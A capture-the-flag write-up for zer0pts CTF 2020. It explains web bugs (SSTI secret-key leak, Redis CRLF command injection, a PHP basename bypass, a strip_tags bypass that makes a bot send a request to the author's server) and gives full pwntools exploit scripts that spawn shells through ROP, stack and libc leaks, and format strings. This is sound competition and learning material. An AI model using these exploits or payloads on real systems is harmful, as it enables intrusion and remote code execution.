Web

notepad

There is a SSTI vulnerability in page_not_found() function. We can append {{config}} to a valid Referer header to leak the server secret_key:

SECRET_KEY': b'Sh\xe3e R\x95\xdb\xb19\xf9\x18\xc3\xf6\xeco'

Now we can forge a fake cookie to trigger the pickle.loads(our_forged_data) in load() function. We can get a reverse shell using the python pickle deserialization vulnerability.

I use this to create fake cookie.

Flag: zer0pts{fl4sk_s3ss10n_4nd_pyth0n_RCE}

urlapp

This challenge's flag is already included in the Redis server with KEY flag. The service will store the requested url into the Redis server with a random 16-hexbytes KEY. For instance, if we requested https://example.com to the service, it will first create a random 16-hexbytes KEY, says faceb00cdeadbeef, then execute the following Redis command SET faceb00cdeadbeef https://example.com. Now if you request https://[challenge]?q=faceb00cdeadbeef, it will execute GET faceb00cdeadbeef Redis command and redirect you to the return value https://example.com.

We are allowed to inject arbitrary Redis command with newline in POST request url parameter.

One idea is that maybe we can append the flag value to a stored url, and since all the stderr will display to user, we can know what the flag is because the url is invalid.

import requests

url = 'http://3.112.201.75:8004/'

query = {'url': 'http://[URL]/?q=\r\n'}
r = requests.post(url, data=query)
code = r.content[-16:]
print code

p1 = "SCRIPT LOAD \"redis.call('APPEND', KEYS[2], redis.call('GET', KEYS[1])); return 1;\"\r\n"
p2 = "EVALSHA 7614be2a5fac38857cd5a98f26d710f988d1b25f 2 flag {}\r\n".format(code)
query = {'url': 'http://[URL]/?q=\r\n' + p1 + p2}
r = requests.post(url, data=query)

r = requests.get(url + '?q={}'.format(code))

Flag: zer0pts{sh0rt_t0_10ng_10ng_t0_sh0rt}

Can you guess it?

In this challenge, if we set the source parameter, it will read the content of basename($_SERVER['PHP_SELF'])

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

highlight_file(basename($_SERVER['PHP_SELF']));

And our target is the config.php file, but the regular expression is hard to bypass.

So I try to investigate the basename() function from php-src then I found this bug:

https://bugs.php.net/bug.php?id=62119

The final payload is:

/index.php/config.php/喵

=> zer0pts{gu3ss1ng_r4nd0m_by73s_1s_un1n73nd3d_s0lu710n}

MusicBlog

This challenge allows us to add <audio> tag in the post content.

And the bot (worker) will click the "like" button of our post if we set the checkbox.

The flag is in the User-agent of the bot, so our target is to let the bot send a request to our server.

And there is a strip_tags() function, so it is hard to inject other HTML tags.

Although <audio> has on* events, we can't run any javascript because of the strict CSP.

The goal is obviously to clickjack the bot, so I look into the strips_tags() function.

Then I found this php bug in PHP 7.4.0:

https://bugs.php.net/bug.php?id=78814

So the final payload is :

<a/udio id="like" href="http://kaibro.tw:9487">zzxc</a>

We will get the request from the bot:

GET / HTTP/1.1
Host: kaibro.tw:9487
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: zer0pts{M4sh1m4fr3sh!!}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge/post.php?id=c8e7da47-b470-48b7-91cc-8bce3fd45cc3
Accept-Encoding: gzip, deflate
Accept-Language: en-US

Pwn

hipwn

ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
#include <stdio.h>

int main(void) {
  char name[0x100];
  puts("What's your team name?");
  gets(name);
  printf("Hi, %s. Welcome to zer0pts CTF 2020!\n", name);
  return 0;
}

A very simple BOF, just create ROP to execute execve("/bin/sh\x00") syscall.

#!/usr/bin/env python

import sys
from pwn import *

if len(sys.argv) == 1:
    r = process('./chall')
else:
    r = remote('13.231.207.73', 9010)

buf = 0x604300
pop_rax = 0x400121
pop_rdi = 0x40141c
pop_rsi_r15 = 0x40141a
pop_rdx = 0x4023f5
syscall = 0x4024dd

payload = 'A'*248 + '/bin/sh\x00' + p64(buf)
payload += p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(0x604360) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
r.sendlineafter('name?\n', payload)

r.interactive()

Flag: zer0pts{welcome_yokoso_osooseyo_huanying_dobropozhalovat}

protrude

ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=e42523ac585386d5660842caf3c06fa61dcee15e, not stripped

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The challenge allocate long type with only 4 bytes (should be 8 bytes), so potential BOF.

One main challenge is to leak something without overwrite the canary. We can overwrite the index value i to skip overwritting canary value. Then we return to calc_sum() (0x400897) again. Now we have two total sum values:

First:

0x7fffffffe540: 0x0000000000000000      0x0000000000000000
0x7fffffffe550: 0x0000000000000000      0x0000000000000000
0x7fffffffe560: 0x0000000000000000      0x0000000000000000
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x0000000000000000      0x0000000000000000
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x0000000000000000      0x0000000000000000
0x7fffffffe5b0: 0x0000000000000016      0x0000000000000000
0x7fffffffe5c0: 0x00007fffffffe540      0x5396b2b7f423f400
0x7fffffffe5d0: 0x0000000000000000      0x0000000000000000
0x7fffffffe5e0: 0x00007fffffffe5f0      0x0000000000400897

Second:

0x7fffffffe580: 0x0000000000000000      0x0000000000000000
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x0000000000000000      0x0000000000000000
0x7fffffffe5b0: 0x0000000000000000      0x0000000000000000
0x7fffffffe5c0: 0x0000000000000016      0x0000000000000000
0x7fffffffe5d0: 0x00007fffffffe580      0x5396b2b7f423f400
0x7fffffffe5e0: 0x0000000000000000      0x0000000000000000
0x7fffffffe5f0: 0x0000000000000000      0x0000000000400897
0x7fffffffe600: 0x0000000000000000      0x0000000000000000
0x7fffffffe610: 0x0000000000000000      0x0000000000000000
0x7fffffffe620: 0x0000000000000000      0x0000000000000000

If we subtract the sum of these values, we can get the value of stack.

After leak the value of stack, we can perform ROP to leak libc address and get shell.

#!/usr/bin/env python

import sys
from pwn import *

if len(sys.argv) == 1:
    r = process('./chall')
else:
    r = remote('13.231.207.73', 9005)

r.sendlineafter('n = ', '22')

for i in range(14):
    r.sendlineafter('= ', '0')

n = 0x6010b0
buf = 0x601b00
rip = 0x400897

r.sendlineafter('= ', '20')
r.sendlineafter('= ', str(rip))

r.recvuntil('SUM = ')
sum1 = int(r.recvline().strip())
log.info('sum1 = ' + str(sum1))
sum1 -= rip
sum1 -= 0x16*2

rip2 = 0x40088e
for i in range(8):
    r.sendlineafter('= ', '0')
r.sendlineafter('= ', '11')
for i in range(2):
    r.sendlineafter('= ', '0')
r.sendlineafter('= ', str(buf))
r.sendlineafter('= ', str(rip2))
for i in range(6):
    r.sendlineafter('= ', '0')

r.recvuntil('SUM = ')
sum2 = int(r.recvline().strip())
log.info('sum2 = ' + str(sum2))
sum2 -= buf
sum2 -= rip2
sum2 -= 0x16*2
sum2 -= 0x40

stack = sum1 - sum2 - 0xa4
log.info('stack: ' + hex(stack))

pop_rdi = 0x400a83
pop_rsi_r15 = 0x400a81
read_plt = 0x4006b0
leave_ret = 0x400849
r.sendlineafter('= ', str(buf))
r.sendlineafter('= ', str(pop_rdi))
r.sendlineafter('= ', str(0))
r.sendlineafter('= ', str(pop_rsi_r15))
r.sendlineafter('= ', str(buf))
r.sendlineafter('= ', str(0))
r.sendlineafter('= ', str(read_plt))
r.sendlineafter('= ', str(leave_ret))
for i in range(5):
    r.sendlineafter('= ', '0')
r.sendlineafter('= ', '18')
r.sendlineafter('= ', str(stack+8))
r.sendlineafter('= ', str(leave_ret))
r.sendlineafter('= ', '0')

puts_got = 0x601018
puts_plt = 0x400660
payload = p64(buf+0x100) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(buf) + p64(0) + p64(read_plt)
r.recvline()

r.sendline(payload)
libc = u64(r.recvline().strip().ljust(8, '\x00')) - 0x6f690
log.success('libc: ' + hex(libc))
one_gadget = libc + 0x4526a

r.sendline('A'*0x50 + p64(one_gadget) + '\x00'*0x100)

r.interactive()

Flag: zer0pts{0ops_long_is_8_byt3s_l0ng}

grimoire

ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=b25a8b9761a63b64746b00cc2eaf2d670f730495, not stripped

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Format string vulnerability in error(), use this to leak canary, libc, heap, stack, ...

grimoire_edit() can be used to overwrite filepath.

Open /dev/stdin and read 65535 bytes to trigger BOF. Overwrite ret address to one_gadget and get shell.

#!/usr/bin/env python

import sys
from pwn import *

if len(sys.argv) == 1:
    r = process('./chall')
else:
    r = remote('13.231.207.73', 9008)

def openbook():
    r.sendlineafter('> ', '1')

def readbook():
    r.sendlineafter('> ', '2')

def editbook(offset, data, nl=1):
    r.sendlineafter('> ', '3')
    r.sendlineafter('Offset: ', str(offset))
    if nl == 1:
        r.sendlineafter('Text: ', data)
    else:
        r.sendafter('Text: ', data)
        sleep(0.1)

def closebook():
    r.sendlineafter('> ', '4')

openbook()
readbook()
editbook(0, 'a'*0x200, nl=0)
readbook()
r.recvuntil('a'*0x200)
heap = u64(r.recvuntil('*', drop=True).ljust(8, '\x00'))
log.success('heap: ' + hex(heap))

editbook(0x200, p64(0) + p64(1) + p64(0)*2 + '%10$p\x00', nl=0)
openbook()
canary = int(r.recvuntil(':', drop=True), 16)
log.success('canary: ' + hex(canary))

editbook(0x200, p64(0) + p64(1) + p64(0)*2 + '%11$p\x00', nl=0)
openbook()
stack = int(r.recvuntil(':', drop=True), 16)
log.success('stack: ' + hex(stack))

editbook(0x200, p64(0) + p64(1) + p64(0)*2 + '%14$p\x00', nl=0)
openbook()
code = int(r.recvuntil(':', drop=True), 16) - 0x1045
log.success('code: ' + hex(code))

editbook(0x200, p64(0) + p64(1) + p64(0)*2 + '%22$p\x00', nl=0)
openbook()
libc = int(r.recvuntil(':', drop=True), 16) - 0x21b97
log.success('libc: ' + hex(libc))
one_gadget = libc + 0x4f322

editbook(0x200, p64(0) + p64(0) + p64(0)*2 + '/dev/stdin\x00', nl=0)
openbook()
readbook()
payload = p64(canary)*66 + p64(0) + p64(one_gadget)
payload = payload.ljust(65535, '\x00')
r.sendline(payload)
r.interactive()

Flag: zer0pts{l0g1c4l_pwn_15_4_l0t_0f_fun}